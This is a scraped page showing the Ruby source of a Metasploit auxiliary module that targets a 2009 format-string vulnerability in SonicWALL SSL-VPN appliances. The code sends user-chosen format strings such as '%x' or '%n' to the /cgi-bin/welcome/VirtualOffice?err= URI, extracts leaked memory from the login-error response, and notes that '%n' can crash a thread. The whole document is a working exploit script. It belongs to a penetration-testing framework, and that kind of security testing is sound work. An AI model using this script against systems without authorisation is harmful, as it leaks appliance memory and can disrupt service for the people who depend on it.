Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.89def initialize(info = {})10super(update_info(info,11'Name' => 'SonicWALL SSL-VPN Format String Vulnerability',12'Description' => %q{13There is a format string vulnerability within the SonicWALL14SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory15can be read or written to, depending on the format string used.16There appears to be a length limit of 127 characters of format17string data. With physical access to the device and debugging,18this module may be able to be used to execute arbitrary code remotely.19},20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE,22'References' => [23[ 'BID', '35145' ],24#[ 'CVE', '' ], # no CVE?25[ 'OSVDB', '54881' ],26[ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],27],28'DisclosureDate' => '2009-05-29'))2930register_options([31OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),32OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),33Opt::RPORT(443),34OptBool.new('SSL', [true, 'Use SSL', true]),35])36end3738def run39if (datastore['FORMAT'].length > 125) # Max length is 127 bytes40print_error("FORMAT string length cannot exceed 125 bytes.")41return42end4344fmt = datastore['FORMAT'] + "XX" # XX is 2 bytes used to mark end of memory garbage for regexp45begin46res = send_request_raw({47'uri' => normalize_uri(datastore['URI']) + fmt,48})4950if res and res.code == 20051res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)52print_status("Information leaked: #{$1}")53end5455print_status("Request sent to #{rhost}:#{rport}")56rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout57print_status("Couldn't connect to #{rhost}:#{rport}")58rescue ::Timeout::Error, ::Errno::EPIPE59end60end61end626364